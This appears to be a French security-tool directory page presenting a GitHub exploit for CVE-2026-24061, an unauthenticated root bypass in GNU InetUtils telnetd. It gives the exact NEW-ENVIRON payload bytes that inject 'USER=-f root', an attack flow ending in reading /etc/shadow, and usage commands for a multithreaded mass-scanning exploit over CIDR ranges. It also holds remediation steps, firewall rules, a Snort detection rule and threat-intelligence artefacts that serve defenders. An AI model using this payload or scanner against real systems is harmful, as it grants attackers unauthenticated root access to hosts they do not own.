Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-24061 — GNU InetUtils telnetd - Racine distante non authentifiée via l'injection de variable NEW-ENVIRON. | Kitploit
Outils/GitHubGitHub/franckferman/cve-2026-24061
Scanners de VulnérabilitésExploitationSécurité RéseauTests d'IntrusionRenseignement sur les MenacesAuthentificationApprentissage et ÉducationRed Teaming
GitHubfranckferman/cve-2026-24061

CVE-2026-24061

GNU InetUtils telnetd - Racine distante non authentifiée via l'injection de variable NEW-ENVIRON.

Voir le dépôt
4il y a 5 moisPas encore vérifié
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE Score License Python No deps

GNU InetUtils telnetd - Root distant non authentifié via injection de variable NEW-ENVIRON

Vue d'ensemble - Analyse technique - Versions concernées - Utilisation - Remédiation - Références


Vue d'ensemble de la vulnérabilité

CVE-2026-24061 est une vulnérabilité critique de contournement d'authentification dans le démon telnetd distribué avec GNU InetUtils. Le défaut réside dans la gestion de l'option Telnet NEW-ENVIRON (RFC 1572) lors de la poignée de main initiale du protocole.

La cause racine est une absence de nettoyage des variables d'environnement fournies par le client avant de les transmettre au programme . Lorsque le démon Telnet reçoit un paquet de sous-négociation contenant la variable avec la valeur , il transmet cette valeur non nettoyée directement au binaire système .

login(1)
NEW-ENVIRON IS
USER
-f root
login

Sur les systèmes où login accepte le drapeau -f (connexion forcée sans vérification du mot de passe), cela aboutit à l'octroi d'une session root non authentifiée à l'attaquant distant.

Cette classe de vulnérabilité a un précédent historique : CVE-2001-0797 dans SysV telnetd et le contournement bien connu -f de telnetd Linux de 1994 exploitaient la même défaillance fondamentale de nettoyage des arguments issus de l'environnement transmis aux binaires privilégiés.

Aucun identifiant requis. Aucun accès préalable nécessaire. Une seule séquence de paquets réseau suffit pour obtenir root.

Analyse technique

Cause racine

GNU InetUtils telnetd traite la sous-négociation NEW-ENVIRON (code d'option 0x27, selon la RFC 1572) pour collecter les variables d'environnement fournies par le client. Ces variables sont assemblées dans un vecteur d'arguments et transmises à execve(2) lors du lancement de login(1).

La vulnérabilité est déclenchée comme suit :

  1. Le serveur envoie IAC DO NEW-ENVIRON, sollicitant les variables d'environnement du client.
  2. Le client malveillant répond avec IAC WILL NEW-ENVIRON.
  3. Le serveur enchaîne avec IAC SB NEW-ENVIRON SEND IAC SE.
  4. Le client envoie la charge utile injectée :
root@kitploit:~
IAC SB NEW-ENVIRON IS
  VAR "USER" VALUE "-f root"
IAC SE
  1. telnetd construit l'invocation de login comme login -f root.
  2. login(1) interprète -f comme « connexion forcée, ignorer l'authentification » et connecte l'utilisateur spécifié (root) sans exiger de mot de passe.

Analyse au niveau du protocole

ÉtapeDirectionOctets Telnet (hex)Signification
1S -> CFF FD 27IAC DO NEW-ENVIRON
2C -> SFF FB 27IAC WILL NEW-ENVIRON
3S -> CFF FA 27 01 FF F0IAC SB NEW-ENVIRON SEND IAC SE
4C -> SFF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE

Pourquoi -f root fonctionne

Le binaire login(1) sur de nombreux systèmes Linux accepte le drapeau -f <utilisateur> pour les connexions « pré-authentifiées », historiquement utilisé par les multiplexeurs de terminaux et rlogin. Lorsque telnetd construit son appel exec et ne parvient pas à supprimer les tirets initiaux ou à valider les chaînes de type option dans les valeurs des variables d'environnement, il transmet par inadvertance des drapeaux contrôlés par l'attaquant directement à login.

L'appel effectif devient :

root@kitploit:~
execve("/bin/login", ["login", "-f", "root"], envp);

Scénario d'attaque

root@kitploit:~
Attaquant                                    telnetd vulnérable (port 23)
   |                                                   |
   |------- TCP SYN (port 23) ----------------------->|
   |<------ TCP SYN-ACK -------------------------------|
   |------- TCP ACK ---------------------------------->|
   |                                                   |
   |<------ Bannière Telnet + IAC DO NEW-ENVIRON ------|
   |------- IAC WILL NEW-ENVIRON --------------------->|
   |<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
   |                                                   |
   |------- IAC SB NEW-ENVIRON IS                      |
   |        VAR "USER" VALUE "-f root" IAC SE -------->|
   |                                                   |
   |        [telnetd appelle : login -f root]          |
   |                                                   |
   |<------ Invite de shell root (#) ------------------|
   |                                                   |
   |------- id; whoami; cat /etc/shadow -------------->|
   |<------ uid=0(root) root contenu /etc/shadow ------|

Conditions préalables :

  • Système cible exécutant GNU InetUtils telnetd (TCP/23 ouvert)
  • Version non corrigée d'inetutils
  • Le binaire login(1) prend en charge le drapeau -f (standard sur la plupart des distributions Linux)
  • Aucun pare-feu ne bloque TCP/23

Versions concernées

LogicielVersions concernéesStatut
GNU InetUtils telnetd<= 2.x (version corrigée spécifique à déterminer)Vulnérable
Distributions fournissant GNU inetutils non corrigéDiversesConsulter l'avis du fournisseur

Vérifiez si votre distribution fournit une version corrigée. De nombreux systèmes modernes ont Telnet désactivé par défaut ; l'exposition nécessite un telnetd explicitement en cours d'exécution.

Score CVSS

MétriqueValeur
Score de base CVSS v3.19.8 (Critique)
Vecteur d'attaqueRéseau
Complexité de l'attaqueFaible
Privilèges requisAucun
Interaction utilisateurAucune
PortéeInchangée
Impact sur la confidentialitéÉlevé
Impact sur l'intégritéÉlevé
Impact sur la disponibilitéÉlevé
Chaîne vectorielleCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Cartographie MITRE ATT&CK

ID ATT&CKTactiqueTechniquePertinence
T1190Accès initialExploitation d'une application exposée publiquementExploitation directe de telnetd sur le réseau
T1059ExécutionInterpréteur de commandes et de scriptsExécution de shell post-exploitation
T1078.004Élévation de privilèges / Contournement de défenseComptes valides : Comptes locauxLe contournement d'authentification aboutit à une session root valide
T1548Élévation de privilègesAbus du mécanisme de contrôle d'élévationDrapeau login -f abusé pour contourner PAM/l'authentification
T1046DécouverteDécouverte de services réseauComposant de scan de masse du PoC

Installation

Prérequis : Python 3 (bibliothèque standard uniquement, zéro dépendance externe).

root@kitploit:~
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061

Aucun pip install nécessaire. Les deux scripts utilisent uniquement la bibliothèque standard de Python.

Structure du projet

root@kitploit:~
poc_cve_2026_24061.py       # PoC simple (~100 lignes) - comprendre la vulnérabilité
cve_2026_24061.py           # Exploit industrialisé - multithread, CIDR, export CSV/JSON
scripts/
  generate_signatures.py    # Génère automatiquement les règles Snort/Suricata + Sigma à partir de la charge utile
  generate_misp_event.py    # Génère un événement JSON importable dans MISP
  generate_stix_bundle.py   # Génère un bundle STIX 2.1 (MISP, OpenCTI, TAXII)
signatures/
  snort.rules               # Règles de détection Snort/Suricata (générées automatiquement)
  sigma.yml                 # Règle Sigma pour SIEM (générée automatiquement)
indicators/
  misp_event.json           # Événement MISP - import via Events > Add Event > Import
  stix_bundle.json          # Bundle STIX 2.1 - 11 objets (vuln, indicator, ATT&CK, CoA)
  • poc_cve_2026_24061.py : Minimal, lisible, pédagogique. Une cible, une fonction, zéro abstraction. Lisez ce fichier pour comprendre exactement comment la vulnérabilité fonctionne au niveau du protocole.
  • cve_2026_24061.py : Exploit industrialisé pour les engagements de pentest. Multithread, prend en charge les plages CIDR, l'entrée par fichier, l'export CSV/JSON, le mode silencieux, les utilisateurs personnalisés.

Utilisation

PoC simple (poc_cve_2026_24061.py)

Exploite un hôte unique. Le code est délibérément minimal afin que vous puissiez le lire de bout en bout et comprendre toute la chaîne d'attaque.

root@kitploit:~
# Utilisation de base
python3 poc_cve_2026_24061.py 192.168.1.100

# Port personnalisé
python3 poc_cve_2026_24061.py 10.0.0.5 2323

Exploit industrialisé (cve_2026_24061.py)

Hôte unique

root@kitploit:~
python3 cve_2026_24061.py -t 192.168.1.100

Plage CIDR (scan de masse)

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 -T 50

Entrée par fichier

root@kitploit:~
python3 cve_2026_24061.py -f targets.txt -o results.csv

Export JSON

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 --json results.json

Utilisateur cible personnalisé

root@kitploit:~
python3 cve_2026_24061.py -t 192.168.1.1 --user admin

Mode silencieux (compatible pipeline)

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 -q | tee vulnerable.txt

Options complètes

ParamètreDéfautDescription
-t / --target-IP unique, nom d'hôte ou plage CIDR
-f / --file-Fichier contenant les IP/CIDR (une par ligne, commentaires #)
-T / --threads10Nombre de threads concurrents
-p / --port23Port Telnet cible
--timeout5Délai d'expiration de la socket en secondes
--userrootNom d'utilisateur pour la charge utile -f
-o / --output-Exporter les résultats dans un fichier CSV
--json-Exporter les résultats dans un fichier JSON
-q / --quietdésactivéMode silencieux : n'afficher que les cibles vulnérables (une par ligne)
--no-colordésactivéDésactiver la sortie couleur ANSI

Statuts de sortie

StatutSignification
[VULN]Hôte confirmé vulnérable - shell root obtenu
[SAFE]L'hôte a répondu mais l'authentification n'a pas été contournée
[CLOS]Port fermé ou connexion refusée
[ERR ]Erreur de socket ou de protocole pendant le scan

Colonnes de sortie CSV : ip:port, status, message

Comportement du PoC

Le script implémente nativement en Python la machine à états complète de la négociation Telnet NEW-ENVIRON sans dépendre de bibliothèques Telnet externes :

  1. Ouvre une socket TCP brute vers la cible sur le port 23 (configurable).
  2. Lit les séquences de commandes IAC entrantes et répond à DO NEW-ENVIRON avec WILL NEW-ENVIRON.
  3. À la réception de la sous-négociation serveur SB NEW-ENVIRON SEND, transmet la charge utile injectée (USER = "-f root").
  4. Surveille le tampon de réponse pour détecter les indicateurs de connexion root réussie : présence de uid=0(root) ou d'une invite de shell (#), en l'absence de Login incorrect ou Password:.
  5. Si la charge utile a été injectée, envoie id\n et vérifie la présence de uid=0(root) dans la réponse comme confirmation secondaire.

Les résultats sont journalisés sur stdout avec des étiquettes de statut colorées. L'export CSV optionnel enregistre toutes les découvertes pour un post-traitement.

Remédiation et atténuation

Actions immédiates

  1. Désactiver Telnet entièrement. Telnet transmet toutes les données en clair. Remplacez-le par SSH.

    root@kitploit:~
    sudo systemctl disable telnet.socket --now
    sudo systemctl disable inetd --now
    
  2. Appliquer le correctif du fournisseur. Installez la version corrigée d'inetutils de votre distribution dès qu'elle est disponible.

  3. Bloquer TCP/23 au périmètre. Appliquez des règles de pare-feu pour refuser les connexions Telnet entrantes.

    root@kitploit:~
    # iptables
    sudo iptables -A INPUT -p tcp --dport 23 -j DROP
    # nftables
    sudo nft add rule inet filter input tcp dport 23 drop
    

Défense en profondeur

ContrôleDescription
Segmentation réseauRestreindre Telnet aux réseaux de gestion isolés s'il ne peut pas être désactivé
Durcissement PAMExaminer la configuration PAM ; désactiver la pré-authentification -f là où elle n'est pas requise par login.defs
Signatures IDS/IPSDétecter les motifs NEW-ENVIRON IS VAR USER VALUE -f dans le trafic Telnet
Journalisation d'auditSurveiller auth.log / secure pour les connexions root inattendues via login
Scan de vulnérabilitésExécuter des scans authentifiés (OpenVAS, Nessus) pour identifier les inetutils non corrigés

Détection (SIEM/IDS)

Squelette de règle Snort/Suricata pour détecter l'exploit en transit :

root@kitploit:~
alert tcp any any -> any 23 (
  msg:"CVE-2026-24061 telnetd tentative d'exploitation USER=-f root";
  content:"|FF FA 27 00 00|USER|01|-f root|FF F0|";
  sid:2026240610; rev:1;
)

Renseignement sur les menaces

Ce dépôt fournit des artefacts de renseignement sur les menaces pré-générés, prêts à être importés dans votre pile SOC/CTI. Ils sont générés automatiquement par CI à partir de la charge utile réelle de l'exploit - si la charge utile change, les artefacts sont mis à jour.

MISP

Importez indicators/misp_event.json directement dans n'importe quelle instance MISP :

root@kitploit:~
Events > Add Event > Import from... > JSON

L'événement contient : ID CVE, vecteur CVSS, signature Snort, hex de la charge utile, balises MITRE ATT&CK (T1190, T1548, T1059), CPE et références externes.

STIX 2.1

Importez indicators/stix_bundle.json dans OpenCTI, les serveurs TAXII ou tout consommateur STIX 2.1.

Le bundle contient 11 objets : Vulnerability, Indicator (motif réseau), 3 Attack Patterns (MITRE), Course of Action (remédiation), Identity et les Relations les reliant.

Signatures IDS

Règles pré-construites dans signatures/ :

  • snort.rules - 3 règles Snort/Suricata (tentative d'exploit, injection générique -f, shell root post-exploitation)
  • sigma.yml - Règle Sigma pour corrélation SIEM

Régénération

Si vous modifiez la charge utile de l'exploit, régénérez tous les artefacts :

root@kitploit:~
python3 scripts/generate_signatures.py
python3 scripts/generate_misp_event.py
python3 scripts/generate_stix_bundle.py

Références : MISP - OpenCTI - STIX 2.1 - Sigma

Références

  • Dépôt officiel GNU InetUtils
  • RFC 1572 - Option d'environnement Telnet (NEW-ENVIRON)
  • RFC 854 - Spécification du protocole Telnet
  • CVE-2001-0797 - Contournement historique SysV telnetd -f (précédent)
  • MITRE ATT&CK - T1190 : Exploitation d'une application exposée publiquement
  • MITRE ATT&CK - T1548 : Abus du mécanisme de contrôle d'élévation
  • Projet MISP
  • Page de manuel Linux login(1)

Avertissement légal

Cet outil est fourni uniquement pour les audits de sécurité autorisés, la recherche académique et les fins éducatives. L'utilisation contre des systèmes sans autorisation écrite explicite du propriétaire du système est illégale en vertu des lois applicables sur la fraude et les abus informatiques (y compris, sans s'y limiter, le CFAA, le Computer Misuse Act et la législation équivalente). L'auteur décline toute responsabilité en cas d'utilisation non autorisée ou malveillante.

Télécharger l’outil